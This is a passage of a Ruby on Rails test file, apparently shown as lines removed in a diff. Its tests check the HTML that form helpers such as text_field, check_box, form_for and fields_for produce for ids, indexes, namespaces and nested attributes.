- %{<textarea id="really!" name="post[body]">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body", "id" => "really!")
- )
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret", "id" => "i mean it")
- )
- assert_dom_equal text_field("post", "title", "id" => "dont guess"),
- text_field("post", "title", :id => "dont guess")
- assert_dom_equal text_area("post", "body", "id" => "really!"),
- text_area("post", "body", :id => "really!")
- assert_dom_equal check_box("post", "secret", "id" => "i mean it"),
- check_box("post", "secret", :id => "i mean it")
- end
-
- def test_nil_id
- assert_dom_equal(
- '<input name="post[title]" type="text" value="Hello World" />', text_field("post", "title", "id" => nil)
- )
- assert_dom_equal(
- %{<textarea name="post[body]">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body", "id" => nil)
- )
- assert_dom_equal(
- '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" name="post[secret]" type="checkbox" value="1" />',
- check_box("post", "secret", "id" => nil)
- )
- assert_dom_equal(
- '<input type="radio" name="post[secret]" value="0" />',
- radio_button("post", "secret", "0", "id" => nil)
- )
- assert_dom_equal(
- '<select name="post[secret]"></select>',
- select("post", "secret", [], {}, "id" => nil)
- )
- assert_dom_equal text_field("post", "title", "id" => nil),
- text_field("post", "title", :id => nil)
- assert_dom_equal text_area("post", "body", "id" => nil),
- text_area("post", "body", :id => nil)
- assert_dom_equal check_box("post", "secret", "id" => nil),
- check_box("post", "secret", :id => nil)
- assert_dom_equal radio_button("post", "secret", "0", "id" => nil),
- radio_button("post", "secret", "0", :id => nil)
- end
-
- def test_index
- assert_dom_equal(
- '<input name="post[5][title]" id="post_5_title" type="text" value="Hello World" />',
- text_field("post", "title", "index" => 5)
- )
- assert_dom_equal(
- %{<textarea name="post[5][body]" id="post_5_body">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body", "index" => 5)
- )
- assert_dom_equal(
- '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" id="post_5_secret" />',
- check_box("post", "secret", "index" => 5)
- )
- assert_dom_equal(
- text_field("post", "title", "index" => 5),
- text_field("post", "title", "index" => 5)
- )
- assert_dom_equal(
- text_area("post", "body", "index" => 5),
- text_area("post", "body", "index" => 5)
- )
- assert_dom_equal(
- check_box("post", "secret", "index" => 5),
- check_box("post", "secret", "index" => 5)
- )
- end
-
- def test_index_with_nil_id
- assert_dom_equal(
- '<input name="post[5][title]" type="text" value="Hello World" />',
- text_field("post", "title", "index" => 5, 'id' => nil)
- )
- assert_dom_equal(
- %{<textarea name="post[5][body]">\nBack to the hill and over it again!</textarea>},
- text_area("post", "body", "index" => 5, 'id' => nil)
- )
- assert_dom_equal(
- '<input name="post[5][secret]" type="hidden" value="0" /><input checked="checked" name="post[5][secret]" type="checkbox" value="1" />',
- check_box("post", "secret", "index" => 5, 'id' => nil)
- )
- assert_dom_equal(
- text_field("post", "title", "index" => 5, 'id' => nil),
- text_field("post", "title", :index => 5, :id => nil)
- )
- assert_dom_equal(
- text_area("post", "body", "index" => 5, 'id' => nil),
- text_area("post", "body", :index => 5, :id => nil)
- )
- assert_dom_equal(
- check_box("post", "secret", "index" => 5, 'id' => nil),
- check_box("post", "secret", :index => 5, :id => nil)
- )
- end
-
- def test_auto_index
- pid = 123
- assert_dom_equal(
- "<label for=\"post_#{pid}_title\">Title</label>",
- label("post[]", "title")
- )
- assert_dom_equal(
- "<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" type=\"text\" value=\"Hello World\" />", text_field("post[]","title")
- )
- assert_dom_equal(
- "<textarea id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\">\nBack to the hill and over it again!</textarea>",
- text_area("post[]", "body")
- )
- assert_dom_equal(
- "<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" /><input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />",
- check_box("post[]", "secret")
- )
- assert_dom_equal(
- "<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
- radio_button("post[]", "title", "Hello World")
- )
- assert_dom_equal("<input id=\"post_#{pid}_title_goodbye_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />",
- radio_button("post[]", "title", "Goodbye World")
- )
- end
-
- def test_auto_index_with_nil_id
- pid = 123
- assert_dom_equal(
- "<input name=\"post[#{pid}][title]\" type=\"text\" value=\"Hello World\" />",
- text_field("post[]","title", :id => nil)
- )
- assert_dom_equal(
- "<textarea name=\"post[#{pid}][body]\">\nBack to the hill and over it again!</textarea>",
- text_area("post[]", "body", :id => nil)
- )
- assert_dom_equal(
- "<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" /><input checked=\"checked\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />",
- check_box("post[]", "secret", :id => nil)
- )
- assert_dom_equal(
-"<input checked=\"checked\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
- radio_button("post[]", "title", "Hello World", :id => nil)
- )
- assert_dom_equal("<input name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />",
- radio_button("post[]", "title", "Goodbye World", :id => nil)
- )
- end
-
- def test_form_for_requires_block
- assert_raises(ArgumentError) do
- form_for(:post, @post, :html => { :id => 'create-post' })
- end
- end
-
- def test_form_for_requires_arguments
- error = assert_raises(ArgumentError) do
- form_for(nil, :html => { :id => 'create-post' }) do
- end
- end
- assert_equal "First argument in form cannot contain nil or be empty", error.message
-
- error = assert_raises(ArgumentError) do
- form_for([nil, nil], :html => { :id => 'create-post' }) do
- end
- end
- assert_equal "First argument in form cannot contain nil or be empty", error.message
- end
-
- def test_form_for
- form_for(@post, :html => { :id => 'create-post' }) do |f|
- concat f.label(:title) { "The Title" }
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- concat f.submit('Create post')
- concat f.button('Create post')
- concat f.button {
- concat content_tag(:span, 'Create post')
- }
- end
-
- expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch') do
- "<label for='post_title'>The Title</label>" +
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
- "<input name='commit' type='submit' value='Create post' />" +
- "<button name='button' type='submit'>Create post</button>" +
- "<button name='button' type='submit'><span>Create post</span></button>"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_collection_radio_buttons
- post = Post.new
- def post.active; false; end
- form_for(post) do |f|
- concat f.collection_radio_buttons(:active, [true, false], :to_s, :to_s)
- end
-
- expected = whole_form("/posts", "new_post" , "new_post") do
- "<input id='post_active_true' name='post[active]' type='radio' value='true' />" +
- "<label for='post_active_true'>true</label>" +
- "<input checked='checked' id='post_active_false' name='post[active]' type='radio' value='false' />" +
- "<label for='post_active_false'>false</label>"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_collection_check_boxes
- post = Post.new
- def post.tag_ids; [1, 3]; end
- collection = (1..3).map{|i| [i, "Tag #{i}"] }
- form_for(post) do |f|
- concat f.collection_check_boxes(:tag_ids, collection, :first, :last)
- end
-
- expected = whole_form("/posts", "new_post" , "new_post") do
- "<input checked='checked' id='post_tag_ids_1' name='post[tag_ids][]' type='checkbox' value='1' />" +
- "<label for='post_tag_ids_1'>Tag 1</label>" +
- "<input id='post_tag_ids_2' name='post[tag_ids][]' type='checkbox' value='2' />" +
- "<label for='post_tag_ids_2'>Tag 2</label>" +
- "<input checked='checked' id='post_tag_ids_3' name='post[tag_ids][]' type='checkbox' value='3' />" +
- "<label for='post_tag_ids_3'>Tag 3</label>" +
- "<input name='post[tag_ids][]' type='hidden' value='' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_file_field_generate_multipart
- Post.send :attr_accessor, :file
-
- form_for(@post, :html => { :id => 'create-post' }) do |f|
- concat f.file_field(:file)
- end
-
- expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch', :multipart => true) do
- "<input name='post[file]' type='file' id='post_file' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_fields_for_with_file_field_generate_multipart
- Comment.send :attr_accessor, :file
-
- form_for(@post) do |f|
- concat f.fields_for(:comment, @post) { |c|
- concat c.file_field(:file)
- }
- end
-
- expected = whole_form("/posts/123", "edit_post_123" , "edit_post", :method => 'patch', :multipart => true) do
- "<input name='post[comment][file]' type='file' id='post_comment_file' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
-
- def test_form_for_with_format
- form_for(@post, :format => :json, :html => { :id => "edit_post_123", :class => "edit_post" }) do |f|
- concat f.label(:title)
- end
-
- expected = whole_form("/posts/123.json", "edit_post_123" , "edit_post", :method => 'patch') do
- "<label for='post_title'>Title</label>"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_model_using_relative_model_naming
- blog_post = Blog::Post.new("And his name will be forty and four.", 44)
-
- form_for(blog_post) do |f|
- concat f.text_field :title
- concat f.submit('Edit post')
- end
-
- expected = whole_form("/posts/44", "edit_post_44" , "edit_post", :method => 'patch') do
- "<input name='post[title]' type='text' id='post_title' value='And his name will be forty and four.' />" +
- "<input name='commit' type='submit' value='Edit post' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_symbol_object_name
- form_for(@post, :as => "other_name", :html => { :id => 'create-post' }) do |f|
- concat f.label(:title, :class => 'post_title')
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- concat f.submit('Create post')
- end
-
- expected = whole_form("/posts/123", "create-post", "edit_other_name", :method => 'patch') do
- "<label for='other_name_title' class='post_title'>Title</label>" +
- "<input name='other_name[title]' id='other_name_title' value='Hello World' type='text' />" +
- "<textarea name='other_name[body]' id='other_name_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='other_name[secret]' value='0' type='hidden' />" +
- "<input name='other_name[secret]' checked='checked' id='other_name_secret' value='1' type='checkbox' />" +
- "<input name='commit' value='Create post' type='submit' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_method_as_part_of_html_options
- form_for(@post, :url => '/', :html => { :id => 'create-post', :method => :delete }) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form("/", "create-post", "edit_post", "delete") do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_method
- form_for(@post, :url => '/', :method => :delete, :html => { :id => 'create-post' }) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form("/", "create-post", "edit_post", "delete") do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_search_field
- # Test case for bug which would emit an "object" attribute
- # when used with form_for using a search_field form helper
- form_for(Post.new, :url => "/search", :html => { :id => 'search-post', :method => :get}) do |f|
- concat f.search_field(:title)
- end
-
- expected = whole_form("/search", "search-post", "new_post", "get") do
- "<input name='post[title]' type='search' id='post_title' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_remote
- form_for(@post, :url => '/', :remote => true, :html => { :id => 'create-post', :method => :patch}) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form("/", "create-post", "edit_post", :method => 'patch', :remote => true) do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_remote_in_html
- form_for(@post, :url => '/', :html => { :remote => true, :id => 'create-post', :method => :patch }) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form("/", "create-post", "edit_post", :method => 'patch', :remote => true) do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_remote_without_html
- @post.persisted = false
- @post.stubs(:to_key).returns(nil)
- form_for(@post, :remote => true) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form("/posts", 'new_post', 'new_post', :remote => true) do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_without_object
- form_for(:post, :html => { :id => 'create-post' }) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form("/", "create-post") do
- "<input name='post[title]' type='text' id='post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_index
- form_for(@post, :as => "post[]") do |f|
- concat f.label(:title)
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
- "<label for='post_123_title'>Title</label>" +
- "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
- "<textarea name='post[123][body]' id='post_123_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[123][secret]' type='hidden' value='0' />" +
- "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_nil_index_option_override
- form_for(@post, :as => "post[]", :index => nil) do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
- "<input name='post[][title]' type='text' id='post__title' value='Hello World' />" +
- "<textarea name='post[][body]' id='post__body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[][secret]' type='hidden' value='0' />" +
- "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_label_error_wrapping
- form_for(@post) do |f|
- concat f.label(:author_name, :class => 'label')
- concat f.text_field(:author_name)
- concat f.submit('Create post')
- end
-
- expected = whole_form('/posts/123', 'edit_post_123' , 'edit_post', 'patch') do
- "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
- "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
- "<input name='commit' type='submit' value='Create post' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_label_error_wrapping_without_conventional_instance_variable
- post = remove_instance_variable :@post
-
- form_for(post) do |f|
- concat f.label(:author_name, :class => 'label')
- concat f.text_field(:author_name)
- concat f.submit('Create post')
- end
-
- expected = whole_form('/posts/123', 'edit_post_123' , 'edit_post', 'patch') do
- "<div class='field_with_errors'><label for='post_author_name' class='label'>Author name</label></div>" +
- "<div class='field_with_errors'><input name='post[author_name]' type='text' id='post_author_name' value='' /></div>" +
- "<input name='commit' type='submit' value='Create post' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_label_error_wrapping_block_and_non_block_versions
- form_for(@post) do |f|
- concat f.label(:author_name, 'Name', :class => 'label')
- concat f.label(:author_name, :class => 'label') { 'Name' }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123' , 'edit_post', 'patch') do
- "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>" +
- "<div class='field_with_errors'><label for='post_author_name' class='label'>Name</label></div>"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_namespace
- form_for(@post, :namespace => 'namespace') do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.check_box(:secret)
- end
-
- expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'patch') do
- "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[secret]' type='hidden' value='0' />" +
- "<input name='post[secret]' checked='checked' type='checkbox' id='namespace_post_secret' value='1' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_namespace_with_date_select
- form_for(@post, :namespace => 'namespace') do |f|
- concat f.date_select(:written_on)
- end
-
- assert_select 'select#namespace_post_written_on_1i'
- end
-
- def test_form_for_with_namespace_with_label
- form_for(@post, :namespace => 'namespace') do |f|
- concat f.label(:title)
- concat f.text_field(:title)
- end
-
- expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'patch') do
- "<label for='namespace_post_title'>Title</label>" +
- "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_two_form_for_with_namespace
- form_for(@post, :namespace => 'namespace_1') do |f|
- concat f.label(:title)
- concat f.text_field(:title)
- end
-
- expected_1 = whole_form('/posts/123', 'namespace_1_edit_post_123', 'edit_post', 'patch') do
- "<label for='namespace_1_post_title'>Title</label>" +
- "<input name='post[title]' type='text' id='namespace_1_post_title' value='Hello World' />"
- end
-
- assert_dom_equal expected_1, output_buffer
-
- form_for(@post, :namespace => 'namespace_2') do |f|
- concat f.label(:title)
- concat f.text_field(:title)
- end
-
- expected_2 = whole_form('/posts/123', 'namespace_2_edit_post_123', 'edit_post', 'patch') do
- "<label for='namespace_2_post_title'>Title</label>" +
- "<input name='post[title]' type='text' id='namespace_2_post_title' value='Hello World' />"
- end
-
- assert_dom_equal expected_2, output_buffer
- end
-
- def test_fields_for_with_namespace
- @comment.body = 'Hello World'
- form_for(@post, :namespace => 'namespace') do |f|
- concat f.text_field(:title)
- concat f.text_area(:body)
- concat f.fields_for(@comment) { |c|
- concat c.text_field(:body)
- }
- end
-
- expected = whole_form('/posts/123', 'namespace_edit_post_123', 'edit_post', 'patch') do
- "<input name='post[title]' type='text' id='namespace_post_title' value='Hello World' />" +
- "<textarea name='post[body]' id='namespace_post_body'>\nBack to the hill and over it again!</textarea>" +
- "<input name='post[comment][body]' type='text' id='namespace_post_comment_body' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_submit_with_object_as_new_record_and_locale_strings
- old_locale, I18n.locale = I18n.locale, :submit
-
- @post.persisted = false
- @post.stubs(:to_key).returns(nil)
- form_for(@post) do |f|
- concat f.submit
- end
-
- expected = whole_form('/posts', 'new_post', 'new_post') do
- "<input name='commit' type='submit' value='Create Post' />"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
- end
-
- def test_submit_with_object_as_existing_record_and_locale_strings
- old_locale, I18n.locale = I18n.locale, :submit
-
- form_for(@post) do |f|
- concat f.submit
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- "<input name='commit' type='submit' value='Confirm Post changes' />"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
- end
-
- def test_submit_without_object_and_locale_strings
- old_locale, I18n.locale = I18n.locale, :submit
-
- form_for(:post) do |f|
- concat f.submit :class => "extra"
- end
-
- expected = whole_form do
- "<input name='commit' class='extra' type='submit' value='Save changes' />"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
- end
-
- def test_submit_with_object_and_nested_lookup
- old_locale, I18n.locale = I18n.locale, :submit
-
- form_for(@post, :as => :another_post) do |f|
- concat f.submit
- end
-
- expected = whole_form('/posts/123', 'edit_another_post', 'edit_another_post', :method => 'patch') do
- "<input name='commit' type='submit' value='Update your Post' />"
- end
-
- assert_dom_equal expected, output_buffer
- ensure
- I18n.locale = old_locale
- end
-
- def test_nested_fields_for
- @comment.body = 'Hello World'
- form_for(@post) do |f|
- concat f.fields_for(@comment) { |c|
- concat c.text_field(:body)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- "<input name='post[comment][body]' type='text' id='post_comment_body' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_nested_collections
- form_for(@post, :as => 'post[]') do |f|
- concat f.text_field(:title)
- concat f.fields_for('comment[]', @comment) { |c|
- concat c.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
- "<input name='post[123][title]' type='text' id='post_123_title' value='Hello World' />" +
- "<input name='post[123][comment][][name]' type='text' id='post_123_comment__name' value='new comment' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_index_and_parent_fields
- form_for(@post, :index => 1) do |c|
- concat c.text_field(:title)
- concat c.fields_for('comment', @comment, :index => 1) { |r|
- concat r.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
- "<input name='post[1][title]' type='text' id='post_1_title' value='Hello World' />" +
- "<input name='post[1][comment][1][name]' type='text' id='post_1_comment_1_name' value='new comment' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_form_for_with_index_and_nested_fields_for
- output_buffer = form_for(@post, :index => 1) do |f|
- concat f.fields_for(:comment, @post) { |c|
- concat c.text_field(:title)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
- "<input name='post[1][comment][title]' type='text' id='post_1_comment_title' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_index_on_both
- form_for(@post, :index => 1) do |f|
- concat f.fields_for(:comment, @post, :index => 5) { |c|
- concat c.text_field(:title)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
- "<input name='post[1][comment][5][title]' type='text' id='post_1_comment_5_title' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_auto_index
- form_for(@post, :as => "post[]") do |f|
- concat f.fields_for(:comment, @post) { |c|
- concat c.text_field(:title)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
- "<input name='post[123][comment][title]' type='text' id='post_123_comment_title' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_index_radio_button
- form_for(@post) do |f|
- concat f.fields_for(:comment, @post, :index => 5) { |c|
- concat c.radio_button(:title, "hello")
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', 'patch') do
- "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_auto_index_on_both
- form_for(@post, :as => "post[]") do |f|
- concat f.fields_for("comment[]", @post) { |c|
- concat c.text_field(:title)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
- "<input name='post[123][comment][123][title]' type='text' id='post_123_comment_123_title' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_index_and_auto_index
- output_buffer = form_for(@post, :as => "post[]") do |f|
- concat f.fields_for(:comment, @post, :index => 5) { |c|
- concat c.text_field(:title)
- }
- end
-
- output_buffer << form_for(@post, :as => :post, :index => 1) do |f|
- concat f.fields_for("comment[]", @post) { |c|
- concat c.text_field(:title)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post[]', 'edit_post[]', 'patch') do
- "<input name='post[123][comment][5][title]' type='text' id='post_123_comment_5_title' value='Hello World' />"
- end + whole_form('/posts/123', 'edit_post', 'edit_post', 'patch') do
- "<input name='post[1][comment][123][title]' type='text' id='post_1_comment_123_title' value='Hello World' />"
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
- @post.author = Author.new
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- concat af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="new author" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
- form_for(@post) do |f|
- f.fields_for(:author, Author.new(123)) do |af|
- assert_not_nil af.object
- assert_equal 123, af.object.id
- end
- end
- end
-
- def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
- @post.author = Author.new(321)
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- concat af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
- '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_using_erb_and_inline_block
- @post.author = Author.new(321)
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
- '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id
- @post.author = Author.new(321)
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author, :include_id => false) { |af|
- af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_inherited
- @post.author = Author.new(321)
-
- form_for(@post, :include_id => false) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association_with_disabled_hidden_id_override
- @post.author = Author.new(321)
-
- form_for(@post, :include_id => false) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author, :include_id => true) { |af|
- af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />' +
- '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
- def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
- @post.author = Author.new(321)
-
- form_for(@post) do |f|
- concat f.text_field(:title)
- concat f.fields_for(:author) { |af|
- concat af.hidden_field(:id)
- concat af.text_field(:name)
- }
- end
-
- expected = whole_form('/posts/123', 'edit_post_123', 'edit_post', :method => 'patch') do
- '<input name="post[title]" type="text" id="post_title" value="Hello World" />' +
- '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
- '<input id="post_author_attributes_name" name="post[author_attributes][name]" type="text" value="author #321" />'
- end
-
- assert_dom_equal expected, output_buffer
- end
-
